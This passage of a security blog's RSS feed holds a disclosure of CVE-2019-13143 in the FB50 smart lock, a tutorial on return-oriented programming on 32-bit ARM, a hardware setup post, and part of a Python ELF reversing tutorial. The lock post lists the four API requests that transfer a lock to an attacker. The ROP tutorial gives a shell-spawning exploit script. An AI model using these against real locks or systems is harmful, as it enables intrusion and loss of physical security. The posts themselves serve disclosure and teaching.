1231<li id="fn-3">
1232<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1233</li>
1234</ol>
1235</div>
1236]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
1237
1238<h2 id="the-lock">The lock</h2>
1239
1240<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
1241Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
1242across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
1243
1244<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
1245the Play/App Store to function. The app requires the user to create an
1246account before further functionality is available.
1247It also facilitates configuring the fingerprint,
1248and unlocking from a range via Bluetooth.</p>
1249
1250<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
1251and the Android app.</p>
1252
1253<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>
1254
1255<p>Android phones have the ability to capture Bluetooth (HCI) traffic
1256which can be enabled under Developer Options under Settings. We made
1257around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
1258
1259<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
1260
1261<p>This is the value sent in the <code>Write</code> request:</p>
1262
1263<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
1264
1265<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
1266but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1267
1268<h2 id="via-the-android-app">Via the Android app</h2>
1269
1270<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
1271far since most of it was obfuscated. Why bother when there exists an
1272easier approach – BurpSuite.</p>
1273
1274<p>We captured and played around with a bunch of requests and responses,
1275and finally arrived at a working exploit chain.</p>
1276
1277<h2 id="the-exploit">The exploit</h2>
1278
1279<p>The entire exploit is a 4 step process consisting of authenticated
1280HTTP requests:</p>
1281
1282<ol>
1283<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
1284vicinity), get the barcode and lock ID</li>
1285<li>Using the barcode, fetch the user ID</li>
1286<li>Using the lock ID and user ID, unbind the user from the lock</li>
1287<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
1288to the lock</li>
1289</ol>
1290
1291<p>This is what it looks like, in essence (personal info redacted).</p>
1292
1293<h3 id="request-1">Request 1</h3>
1294
1295<pre><code>POST /oklock/lock/queryDevice
1296{"mac":"XX:XX:XX:XX:XX:XX"}
1297</code></pre>
1298
1299<p>Response:</p>
1300
1301<pre><code>{
1302 "result":{
1303 "alarm":0,
1304 "barcode":"<BARCODE>",
1305 "chipType":"1",
1306 "createAt":"2019-05-14 09:32:23.0",
1307 "deviceId":"",
1308 "electricity":"95",
1309 "firmwareVersion":"2.3",
1310 "gsmVersion":"",
1311 "id":<LOCK ID>,
1312 "isLock":0,
1313 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1314 "lockPwd":"000000",
1315 "mac":"XX:XX:XX:XX:XX:XX",
1316 "name":"lock",
1317 "radioName":"BlueFPL",
1318 "type":0
1319 },
1320 "status":"2000"
1321}
1322</code></pre>
1323
1324<h3 id="request-2">Request 2</h3>
1325
1326<pre><code>POST /oklock/lock/getDeviceInfo
1327
1328{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
1329</code></pre>
1330
1331<p>Response:</p>
1332
1333<pre><code> "result":{
1334 "account":"email@some.website",
1335 "alarm":0,
1336 "barcode":"<BARCODE>",
1337 "chipType":"1",
1338 "createAt":"2019-05-14 09:32:23.0",
1339 "deviceId":"",
1340 "electricity":"95",
1341 "firmwareVersion":"2.3",
1342 "gsmVersion":"",
1343 "id":<LOCK ID>,
1344 "isLock":0,
1345 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1346 "lockPwd":"000000",
1347 "mac":"XX:XX:XX:XX:XX:XX",
1348 "name":"lock",
1349 "radioName":"BlueFPL",
1350 "type":0,
1351 "userId":<USER ID>
1352 }
1353</code></pre>
1354
1355<h3 id="request-3">Request 3</h3>
1356
1357<pre><code>POST /oklock/lock/unbind
1358
1359{"lockId":"<LOCK ID>","userId":<USER ID>}
1360</code></pre>
1361
1362<h3 id="request-4">Request 4</h3>
1363
1364<pre><code>POST /oklock/lock/bind
1365
1366{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
1367</code></pre>
1368
1369<h2 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h2>
1370
1371<p>You should have the lock transferred to your account. The severity of this
1372issue lies in the fact that the original owner completely loses access to
1373their lock. They can’t even “rebind” to get it back, since the current owner
1374(the attacker) needs to authorize that. </p>
1375
1376<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
1377Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
1378“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
1379
1380<p><em>shudders</em></p>
1381
1382<h2 id="proof-of-concept">Proof of Concept</h2>
1383
1384<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1385
1386<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1387
1388<h2 id="disclosure-timeline">Disclosure timeline</h2>
1389
1390<ul>
1391<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1392<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1393<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1394<li>No response from vendor</li>
1395<li><strong>2nd August 2019</strong>: Public disclosure</li>
1396</ul>
1397
1398<h2 id="lessons-learnt">Lessons learnt</h2>
1399
1400<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
1401with keys. With the IoT plague spreading, it brings in a large attack surface
1402to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
1403
1404<p>The IoT security scene is rife with bugs from over 10 years ago, like
1405executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
1406practices in general.</p>
1407
1408<p>Our existing threat models and scenarios have to be updated to factor
1409in these new exploitation possibilities. This also broadens the playing
1410field for cyber warfare and mass surveillance campaigns. </p>
1411
1412<h2 id="researcher-info">Researcher info</h2>
1413
1414<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1415
1416<ul>
1417<li>Anirudh Oppiliappan (me)</li>
1418<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
1419<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1420</ul>
1421
1422<div class="footnotes">
1423<hr />
1424<ol>
1425<li id="fn-1">
1426<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1427</li>
1428
1429<li id="fn-2">
1430<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1431</li>
1432
1433<li id="fn-3">
1434<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1435</li>
1436</ol>
1437</div>
1438]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1439assembly to follow along. I highly recommend
1440<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1441Basics</a>. Once you’re
1442comfortable with it, proceed with the next bit — environment setup.</p>
1443
1444<h2 id="setup">Setup</h2>
1445
1446<p>Since we’re working with the ARM architecture, there are two options to go
1447forth with: </p>
1448
1449<ol>
1450<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
1451And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1452The scripts found inside should be self-explanatory.</li>
1453<li>Use actual ARM hardware, like an RPi.</li>
1454</ol>
1455
1456<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1457may use <code>radare2</code>, IDA or anything else, really. All of which can be
1458trivially installed.</p>
1459
1460<p>And for the sake of simplicity, disable ASLR:</p>
1461
1462<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
1463</code></pre></div>
1464
1465<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
1466<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
1467
1468<p>Compile it:</p>
1469
1470<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
1471</code></pre></div>
1472
1473<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
1474
1475<h2 id="a-primer-on-rop">A primer on ROP</h2>
1476
1477<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
1478used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
1479In essence, no code in the binary is actually modified and the entire exploit
1480is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
1481
1482<p>A gadget is essentially a small sequence of code (instructions), ending with
1483a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
1484code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
1485These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
1486to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
1487there’s generally a call to <code>system()</code>, to acheive code execution.</p>
1488
1489<p>In practice, the process of executing a ropchain is something like this:</p>
1490
1491<ul>
1492<li>confirm the existence of a stack-based buffer overflow</li>
1493<li>identify the offset at which the instruction pointer gets overwritten</li>
1494<li>locate the addresses of the gadgets you wish to use</li>
1495<li>craft your input keeping in mind the stack’s layout, and chain the addresses
1496of your gadgets</li>
1497</ul>
1498
1499<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
1500Check it out, it might be just what you needed for that “aha!” moment :)</p>
1501
1502<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
1503that should put things into perspective.</p>
1504
1505<h2 id="exploring-our-binary">Exploring our binary</h2>
1506
1507<p>Start by running it, and entering any arbitrary string. On entering a fairly
1508large string, say, “A” × 20, we
1509see a segmentation fault occur.</p>
1510
1511<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
1512
1513<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
1514
1515<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
1516
1517<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
1518<code>gadget</code>. Disassembling the <code>main</code> function:</p>
1519
1520<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
1521
1522<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
1523to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
1524never actually called.</p>
1525
1526<p>Disassembling the <code>gadget</code> function:</p>
1527
1528<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
1529
1530<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
1531which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
1532instruction in the middle. This is a <strong>gadget</strong>.</p>
1533
1534<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
1535arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
1536are used for this. So this gadget effectively allows us to pass arguments to
1537functions using <code>r0</code>, and subsequently jumping to them by passing its address
1538in <code>pc</code>. Neat.</p>
1539
1540<p>Moving on to the disassembly of the <code>winner</code> function:</p>
1541
1542<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
1543
1544<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
1545So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1546function.</p>
1547
1548<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1549of exploitation by messing around with inputs.</p>
1550
1551<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>
1552
1553<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1554screenshot.</p>
1555
1556<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1557
1558<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1559the <code>pc</code> has been overwritten with our input.
1560So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1561
1562<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1563control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1564
1565<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1566of the second instruction — <code>add r11, sp, #4</code>.
1567For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1568the address of <code>winner</code>. Note the endianness.</p>
1569
1570<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
1571</code></pre></div>
1572
1573<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1574
1575<p>The reason we don’t jump to the first instruction is because we want to control the stack
1576ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1577those out after <code>winner</code> is done executing and we will no longer control
1578where it jumps to.</p>
1579
1580<p>So that didn’t do much, just prints out a string “Nothing much here…”.
1581But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1582to do what we want (run a command, execute a shell, etc.).</p>
1583
1584<p>To do that, we’ll follow a multi-step process: </p>
1585
1586<ol>
1587<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1588<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
1589<code>r0</code>.</li>
1590<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
1591</ol>
1592
1593<p>The pseudo-code is something like this:</p>
1594
1595<pre><code>string = AAAABBBBCCCCDDDDEEEE
1596gadget = # addr of gadget
1597binsh = # addr of /bin/sh
1598system = # addr of system()
1599
1600print(string + gadget + binsh + system)
1601</code></pre>
1602
1603<p>Clean and mean.</p>
1604
1605<h2 id="the-exploit">The exploit</h2>
1606
1607<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1608It allows us to pack the bytes of addresses to the endianness of our choice.
1609It probably does a lot more, but who cares.</p>
1610
1611<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1612at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1613
1614<pre><code>(gdb) find &system, +9999999, "/bin/sh"
1615</code></pre>
1616
1617<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1618
1619<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1620found from the disassmblies from earlier. Here’s the final exploit code:</p>
1621
1622<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1623
1624<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1625<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
1626<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1627<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1628
1629<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1630</code></pre></div>
1631
1632<p>Honestly, not too far off from our pseudo-code :)</p>
1633
1634<p>Let’s see it in action:</p>
1635
1636<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1637
1638<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1639when the pipe closes, since there’s no input coming in from STDIN.
1640To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1641to the shell. Nifty trick.</p>
1642
1643<h2 id="conclusion">Conclusion</h2>
1644
1645<p>This was a fairly basic challenge, with everything laid out conveniently.
1646Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1647to acheive code execution.</p>
1648
1649<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1650]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h2 id="hardware">Hardware</h2>
1651
1652<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
16538 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1654
1655<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1656I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1657
1658<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1659
1660<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
1661For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1662
1663<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
1664Great pair of headphones, although the ear cups need replacing.</p>
1665
1666<h2 id="and-the-software">And the software</h2>
1667
1668<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1669window manager, all riced. I now use whatever JustWorks™.</del></p>
1670
1671<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
1672running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1673
1674<p>Here’s a (riced) screenshot of my desktop. </p>
1675
1676<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1677
1678<p>Most of my work is done in either the browser, or the terminal.
1679My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1680a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1681My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1682I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1683
1684<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1685clean and a single command to drop into a Kali shell.</p>
1686
1687<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1688The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1689
1690<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1691]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1692
1693<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1694
1695<h2 id="setup">Setup</h2>
1696
1697<p>As the title suggests, you’re going to need a Python 3 interpreter before
1698anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1699in fact, have a Python 3 interpreter installed on your system, run</p>
1700
1701<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1702</code></pre></div>
1703
1704<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1705
1706<p>With that out of the way, let’s start with an example of a basic reversing
1707challenge.</p>
1708
1709<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1710
1711<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
1712<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
1713<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
1714
1715<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1716 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1717 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
1718 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1719 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1720 <span class="p">}</span>
1721 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
1722 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1723 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
1724 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
1725 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1726 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1727 <span class="p">}</span>
1728 <span class="k">else</span> <span class="p">{</span>
1729 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1730 <span class="p">}</span>
1731<span class="p">}</span>
1732</code></pre></div>
1733
1734<p>Compile it with GCC/Clang:</p>
1735
1736<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1737</code></pre></div>
1738
1739<h2 id="scripting">Scripting</h2>
1740
1741<p>For starters, let’s look at the different sections present in the binary.</p>
1742
1743<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1744
1745<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1746
1747<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1748 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1749 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1750 <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1751</code></pre></div>
1752
1753<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1754
1755<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1756<span class="go">0x238 .interp</span>
1757<span class="go">0x254 .note.ABI-tag</span>
1758<span class="go">0x274 .note.gnu.build-id</span>
1759<span class="go">0x298 .gnu.hash</span>
1760<span class="go">0x2c0 .dynsym</span>
1761<span class="go">0x3e0 .dynstr</span>
1762<span class="go">0x484 .gnu.version</span>
1763<span class="go">0x4a0 .gnu.version_r</span>
1764<span class="go">0x4c0 .rela.dyn</span>
1765<span class="go">0x598 .rela.plt</span>
1766<span class="go">0x610 .init</span>
1767<span class="go">0x630 .plt</span>
1768<span class="go">0x690 .plt.got</span>
1769<span class="go">0x6a0 .text</span>
1770<span class="go">0x8f4 .fini</span>
1771<span class="go">0x900 .rodata</span>
1772<span class="go">0x924 .eh_frame_hdr</span>
1773<span class="go">0x960 .eh_frame</span>
1774<span class="go">0x200d98 .init_array</span>
1775<span class="go">0x200da0 .fini_array</span>
1776<span class="go">0x200da8 .dynamic</span>
1777<span class="go">0x200f98 .got</span>
1778<span class="go">0x201000 .data</span>
1779<span class="go">0x201010 .bss</span>
1780<span class="go">0x0 .comment</span>
1781<span class="go">0x0 .symtab</span>
1782<span class="go">0x0 .strtab</span>
1783<span class="go">0x0 .shstrtab</span>
1784</code></pre></div>
1785
1786<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1787
1788<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1789
1790<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1791
1792<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1793<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1794
1795<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1796 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1797 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
1798 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1799 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
